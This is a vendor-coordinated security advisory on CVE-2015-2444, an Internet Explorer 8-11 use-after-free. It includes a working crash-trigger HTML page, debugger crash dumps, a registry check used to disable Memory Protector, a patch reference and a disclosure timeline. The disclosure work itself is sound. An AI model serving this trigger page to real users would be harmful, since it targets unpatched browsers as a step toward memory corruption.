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Blue Frost Security GmbH
https://www.bluefrostsecurity.de/               research(at)bluefrostsecurity.de
BFS-SA-2015-001                                                   12-August-2015
________________________________________________________________________________

Vendor:                 Microsoft, http://www.microsoft.com
Affected Products:      Internet Explorer
Affected Version:       IE 8-11
Vulnerability:          CTreeNode::GetCascadedLang Use-After-Free Vulnerability
CVE ID:                 CVE-2015-2444
________________________________________________________________________________

I.   Impact

If an attacker succeeds in bypassing the Memory Protector and Isolated Heap
protection mechanisms this vulnerability allows the execution of arbitrary
code on vulnerable installations of Microsoft Internet Explorer. User
interaction is required to exploit this vulnerability in that the target must
visit a malicious page or open a malicious file.

________________________________________________________________________________

II.  Vulnerability Details

Microsoft Internet Explorer 11 is prone to a use-after-free vulnerability in
the MSHTML!CTreeNode::GetCascadedLang function. The following analysis was
performed on Internet Explorer 11 on Windows 8.1 (x64).

The following HTML page demonstrates the problem:
-->

<!DOCTYPE HTML>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=10" />
<script>
	function Trigger() {
		for(i=0; i < document.getElementsByTagName("meter").length; i++) {
			document.getElementsByTagName("meter")[i].innerText = "a";
		}
	}
	function reload() {
		location.reload();
	}
	setTimeout("reload()", 1000);
</script>
<button><label><style>label{}</style><form>
<meter>label<optgroup><meter>fieldset<script>Trigger();</script></meter>
<select></select><button></button><form><form>
<input><script>Trigger();</script>
<form><style>form{-ms-behavior: url("c");}</style></form>
</html>

<!--
With page heap enabled, visiting that page results in the following crash:

(7c0.408): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SYSTEM32\MSHTML.dll - 
eax=00000000 ebx=12698fa0 ecx=0000ffff edx=00000100 esi=00000000 edi=12696fb8
eip=6fea5a44 esp=0a75ba18 ebp=0a75ba38 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
MSHTML!CreateCoreWebView+0x1e0234:
6fea5a44 81b828030000506ffb6f cmp dword ptr [eax+328h],offset MSHTML!CreateCoreWebView+0x2f1740 (6ffb6f50) ds:002b:00000328=????????

0:005> ub
MSHTML!CTreeNode::GetCascadedLang+0x5f:
6fea5a2b 8945f8          mov     dword ptr [ebp-8],eax
6fea5a2e 8945f0          mov     dword ptr [ebp-10h],eax
6fea5a31 8b4710          mov     eax,dword ptr [edi+10h]
6fea5a34 85c0            test    eax,eax
6fea5a36 740a            je      MSHTML!CTreeNode::GetCascadedLang+0x76 (6fea5a42)
6fea5a38 f6400c04        test    byte ptr [eax+0Ch],4
6fea5a3c 0f859a020000    jne     MSHTML!CTreeNode::GetCascadedLang+0x30f (6fea5cdc)
6fea5a42 8b07            mov     eax,dword ptr [edi]

0:005> !heap -p -a edi+10
    address 12696fc8 found in
    _DPH_HEAP_ROOT @ a961000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 a9646e8:         12696fb8               48 -         12696000             2000
    71e694ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    779057b7 ntdll!RtlDebugAllocateHeap+0x0000003c
    778a77ce ntdll!RtlpAllocateHeap+0x0004665a
    77861134 ntdll!RtlAllocateHeap+0x0000014d
    6fa31dd5 MSHTML!CLabelElement::CreateElement+0x00000015
    6f8a5b4d MSHTML!CreateElement+0x00000084
    6fa14768 MSHTML!CInBodyInsertionMode::DefaultStartElementHandler+0x00000078
    6f91d6eb MSHTML!CInsertionMode::HandleStartElementToken+0x0000003d
    6f91d3a3 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026
    6f91d338 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5
    6f91d1cc MSHTML!CHtml5Tokenizer::TagName_StateHandler+0x0000028c
    6f91ab35 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c
    6f91ae09 MSHTML!CHtml5Parse::ParseToken+0x00000131
    6f91a377 MSHTML!CHtmPost::ProcessTokens+0x000006af
    6f914952 MSHTML!CHtmPost::Exec+0x000001e4
    6f991118 MSHTML!CHtmPost::Run+0x0000003d
    6f99107e MSHTML!PostManExecute+0x00000061
    6f9994a2 MSHTML!PostManResume+0x0000007b
    6f9b04f7 MSHTML!CDwnChan::OnMethodCall+0x0000003e
    6f7fd865 MSHTML!GlobalWndOnMethodCall+0x0000016d
    6f7fd18a MSHTML!GlobalWndProc+0x000002e5
    75a68e71 user32!_InternalCallWinProc+0x0000002b
    75a690d1 user32!UserCallWinProcCheckWow+0x0000018e
    75a6a66f user32!DispatchMessageWorker+0x00000208
    75a6a6e0 user32!DispatchMessageW+0x00000010
    710600d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
    7108d0d8 IEFRAME!LCIETab_ThreadProc+0x0000037b
    71c7d81c iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
    70ef3991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
    755f7c04 KERNEL32!BaseThreadInitThunk+0x00000024
    7787ad1f ntdll!__RtlUserThreadStart+0x0000002f
    7787acea ntdll!_RtlUserThreadStart+0x0000001b

0:005> db edi+10
12696fc8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
12696fd8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
12696fe8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
12696ff8  00 00 00 00 00 00 00 00-?? ?? ?? ?? ?? ?? ?? ??  ........????????
12697008  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
12697018  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
12697028  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
12697038  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

This looks like a use-after-free on memory which was previously freed by the
ProtectedFree implementation (and zeroed-out) and thus the memory is not yet
marked as free by the heap manager. To verify this assumption, we first disable
the Memory Protect feature to see if it's really accessing freed memory:

C:\>reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MEMPROTECT_MODE"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\Feature
Control\FEATURE_MEMPROTECT_MODE
    iexplore.exe    REG_DWORD    0x0

If we trigger the crash again, we notice that this time freed memory is
accessed and the memory was indeed previously allocated by the ProtectedFree
function.

(12c.4a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0e958fa0 ecx=0000ffff edx=00000100 esi=00000000 edi=0e982fb8
eip=70595a31 esp=0b3cbda0 ebp=0b3cbdc0 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
MSHTML!CTreeNode::GetCascadedLang+0x65:
70595a31 8b4710          mov     eax,dword ptr [edi+10h] ds:002b:0e982fc8=????????

0:006> !heap -p -a edi+10
    address 0e982fc8 found in
    _DPH_HEAP_ROOT @ aa31000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    aa34f70:          e982000             2000
    72909712 verifier!AVrfDebugPageHeapFree+0x000000c2
    77906061 ntdll!RtlDebugFreeHeap+0x0000003c
    778a69ea ntdll!RtlpFreeHeap+0x00044b2f
    77861eaa ntdll!RtlFreeHeap+0x000001b6
    6feacbbd MSHTML!MemoryProtection::CMemoryProtector::ProtectedFree+0x00000122
    701a8a95 MSHTML!CLabelElement::`vector deleting destructor'+0x00000025
    6fef7001 MSHTML!CBase::SubRelease+0x00000045
    6ff14ee2 MSHTML!CElement::PrivateExitTree+0x00000060
    6ff15c8a MSHTML!CMarkup::DestroySplayTree+0x000003ab
    6ff16b26 MSHTML!CMarkup::UnloadContents+0x00000d33
    70198f3c MSHTML!CMarkup::TearDownMarkupHelper+0x000000a7
    70198e63 MSHTML!CMarkup::TearDownMarkup+0x00000058
    7018af24 MSHTML!COmWindowProxy::SwitchMarkup+0x000004f3
    70876d6a MSHTML!COmWindowProxy::ExecRefresh+0x00000a1d
    70876ee3 MSHTML!COmWindowProxy::ExecRefreshCallback+0x00000023
    6feed865 MSHTML!GlobalWndOnMethodCall+0x0000016d
    6feed18a MSHTML!GlobalWndProc+0x000002e5
    75a68e71 user32!_InternalCallWinProc+0x0000002b
    75a690d1 user32!UserCallWinProcCheckWow+0x0000018e
    75a6a66f user32!DispatchMessageWorker+0x00000208
    75a6a6e0 user32!DispatchMessageW+0x00000010
    71a700d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
    71a9d0d8 IEFRAME!LCIETab_ThreadProc+0x0000037b
    7271d81c iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
    716f3991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
    755f7c04 KERNEL32!BaseThreadInitThunk+0x00000024
    7787ad1f ntdll!__RtlUserThreadStart+0x0000002f
    7787acea ntdll!_RtlUserThreadStart+0x0000001b

0:006> kb
ChildEBP RetAddr  Args to Child              
0b3cbdc0 7059559d 1330afc8 0b3cc1ec 00000001 MSHTML!CTreeNode::GetCascadedLang+0x65
0b3cbe78 700173bf 0ab19fa0 0e615fa0 00000003 MSHTML!CStyleSheetArray::BuildListOfProbableRules+0x2d5
0b3cbf3c 6fff6d3c 0b3cc1ec 00000001 00000003 MSHTML!CStyleSheetArray::BuildListOfMatchedRules+0x57
0b3cc190 70284613 0b3cc1ec 00000003 00000400 MSHTML!CMarkup::ApplyStyleSheets+0xca
0b3cc1c4 701a742e 0b3cc1ec 00000000 0aa41bb8 MSHTML!CElement::ApplyBehaviorCss+0x9e
0b3cc46c 700adfe3 00000004 07450000 0aa41bb8 MSHTML!CElement::ProcessPeerTask+0xc1f
0b3cc488 700adf3c 00000000 1375dfe8 0aa41bb8 MSHTML!CMarkup::ProcessPeerTaskContext+0x8e
0b3cc4a0 700d3070 0aa41bb8 00000000 00000000 MSHTML!CMarkup::ProcessPeerTasks+0x3f
0b3cc550 6ff17539 00000001 00000000 0b3cc57c MSHTML!CMarkup::UnloadContents+0x1017
0b3cc574 6fef705c 0f4febb8 00000001 6feeccb0 MSHTML!CMarkup::Passivate+0x89
0b3cc58c 6feecccc 0f4febb8 0f4febb8 00000001 MSHTML!CBase::PrivateRelease+0xbc
0b3cc5a8 6ff040f6 0f4febb8 0b3cc5d0 6feecf70 MSHTML!CMarkup::Release+0x18
0b3cc5c4 703edeb0 0f318f18 0e97cf90 00000000 MSHTML!CTxtSite::Release+0xc2
0b3cc5d8 703ede77 00000000 0e97cf90 00000000 MSHTML!CImplPtrAry::ReleaseAndDelete+0x2e
0b3cc5ec 70481a67 00000000 0b3cc624 0e97cf90 MSHTML!CFormElement::DetachExtraFormInputSiteByIndex+0x22
0b3cc5fc 701b66e3 0e97cf90 0b3cc618 0b3cc680 MSHTML!CFormElement::DetachAllExtraFormInputSites+0x13
0b3cc60c 6ff15be3 0b3cc624 0b3cc690 7019abb0 MSHTML!CFormElement::Notify+0x76
0b3cc680 6ff16b26 00000001 00000001 0f2ace30 MSHTML!CMarkup::DestroySplayTree+0x2dd
0b3cc730 70198f3c 00000000 00000001 0c9d4bd0 MSHTML!CMarkup::UnloadContents+0xd33
0b3cc748 70198e63 00000001 00000001 0f33cbb8 MSHTML!CMarkup::TearDownMarkupHelper+0xa7
0b3cc770 7018af24 00000001 00000001 0b3cc838 MSHTML!CMarkup::TearDownMarkup+0x58
0b3cc818 70876d6a 0f33cbb8 00000000 00000000 MSHTML!COmWindowProxy::SwitchMarkup+0x4f3
0b3cc8fc 70876ee3 00005004 ffffffff 00000000 MSHTML!COmWindowProxy::ExecRefresh+0xa1d
0b3cc910 6feed865 0aeb9f68 00005004 0ba04cc8 MSHTML!COmWindowProxy::ExecRefreshCallback+0x23
0b3cc95c 6feed18a 3e26b724 6feec290 00008002 MSHTML!GlobalWndOnMethodCall+0x16d
0b3cc9ac 75a68e71 000103d0 00008002 00000000 MSHTML!GlobalWndProc+0x2e5
0b3cc9d8 75a690d1 6feec290 000103d0 00008002 user32!_InternalCallWinProc+0x2b
0b3cca6c 75a6a66f 6feec290 00000000 00008002 user32!UserCallWinProcCheckWow+0x18e
0b3ccad8 75a6a6e0 30748176 0b3cfcb0 71a700d8 user32!DispatchMessageWorker+0x208
0b3ccae4 71a700d8 0b3ccb24 11ce0e48 1161cfe0 user32!DispatchMessageW+0x10
0b3cfcb0 71a9d0d8 0b3cfd7c 71a9cd50 11cdeff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
0b3cfd70 7271d81c 11ce0e48 0b3cfd94 71b05f70 IEFRAME!LCIETab_ThreadProc+0x37b
0b3cfd88 716f3991 11cdeff0 716f3900 716f3900 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c
0b3cfdc0 755f7c04 0e502fe8 755f7be0 3b839130 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
0b3cfdd4 7787ad1f 0e502fe8 3972bde9 00000000 KERNEL32!BaseThreadInitThunk+0x24
0b3cfe1c 7787acea ffffffff 7786022b 00000000 ntdll!__RtlUserThreadStart+0x2f
0b3cfe2c 00000000 716f3900 0e502fe8 00000000 ntdll!_RtlUserThreadStart+0x1b

If we check the accessed memory location just before the JavaScript method
location.reload() is called, we can see where the memory for the CLabelElement
object was allocated.

0:020> !heap -p -a 0e982fc8
    address 0e982fc8 found in
    _DPH_HEAP_ROOT @ aa31000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 aa34f70:          e982fb8               48 -          e982000             2000
          MSHTML!CLabelElement::`vftable'
    729094ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    779057b7 ntdll!RtlDebugAllocateHeap+0x0000003c
    778a77ce ntdll!RtlpAllocateHeap+0x0004665a
    77861134 ntdll!RtlAllocateHeap+0x0000014d
    70121dd5 MSHTML!CLabelElement::CreateElement+0x00000015
    6ff95b4d MSHTML!CreateElement+0x00000084
    70104768 MSHTML!CInBodyInsertionMode::DefaultStartElementHandler+0x00000078
    7000d6eb MSHTML!CInsertionMode::HandleStartElementToken+0x0000003d
    7000d3a3 MSHTML!CHtml5TreeConstructor::HandleElementTokenInInsertionMode+0x00000026
    7000d338 MSHTML!CHtml5TreeConstructor::PushElementToken+0x000000a5
    7000d1cc MSHTML!CHtml5Tokenizer::TagName_StateHandler+0x0000028c
    7000ab35 MSHTML!CHtml5Tokenizer::ParseBuffer+0x0000012c
    7000ae09 MSHTML!CHtml5Parse::ParseToken+0x00000131
    7000a377 MSHTML!CHtmPost::ProcessTokens+0x000006af
    70004952 MSHTML!CHtmPost::Exec+0x000001e4
    70081118 MSHTML!CHtmPost::Run+0x0000003d
    7008107e MSHTML!PostManExecute+0x00000061
    700894a2 MSHTML!PostManResume+0x0000007b
    700a04f7 MSHTML!CDwnChan::OnMethodCall+0x0000003e
    6feed865 MSHTML!GlobalWndOnMethodCall+0x0000016d
    6feed18a MSHTML!GlobalWndProc+0x000002e5
    75a68e71 user32!_InternalCallWinProc+0x0000002b
    75a690d1 user32!UserCallWinProcCheckWow+0x0000018e
    75a6a66f user32!DispatchMessageWorker+0x00000208
    75a6a6e0 user32!DispatchMessageW+0x00000010
    71a700d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000464
    71a9d0d8 IEFRAME!LCIETab_ThreadProc+0x0000037b
    7271d81c iertutil!_IsoThreadProc_WrapperToReleaseScope+0x0000001c
    716f3991 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x00000094
    755f7c04 KERNEL32!BaseThreadInitThunk+0x00000024
    7787ad1f ntdll!__RtlUserThreadStart+0x0000002f
    7787acea ntdll!_RtlUserThreadStart+0x0000001b
________________________________________________________________________________

III. Mitigation

The issue was fixed in MS15-079 which should be installed to resolve the issue.

________________________________________________________________________________

IV.  Disclosure Timeline

- 2015-05-11 Vulnerability reported to secure@microsoft.com
- 2015-05-11 Acknowledgement of received report
- 2015-05-14 Microsoft confirms that they successfully reproduced the issue
- 2015-06-03 Requested a status update
- 2015-06-03 Microsoft confirms that they are currently working on a fix and
             they want to know if hitting the August patch day would be
             acceptable, because that would be 2 days after the 90 day
             disclosure timeline
- 2015-07-14 Requested a status upate
- 2015-07-15 Microsoft confirms to be on track for the August patch day
- 2015-08-10 Requested another status update
- 2015-08-11 Microsoft resolves issue in MS15-079

________________________________________________________________________________

Credit:
Bug found by Moritz Jodeit of Blue Frost Security GmbH.
________________________________________________________________________________

Unaltered electronic reproduction of this advisory is permitted. For all other
reproduction or publication, in printing or otherwise, contact
research@bluefrostsecurity.de for permission. Use of the advisory constitutes
acceptance for use in an "as is" condition. All warranties are excluded. In no
event shall Blue Frost Security be liable for any damages whatsoever including
direct, indirect, incidental, consequential, loss of business profits or
special damages, even if Blue Frost Security has been advised of the
possibility of such damages.

Copyright 2015 Blue Frost Security GmbH. All rights reserved. Terms of use apply.
-->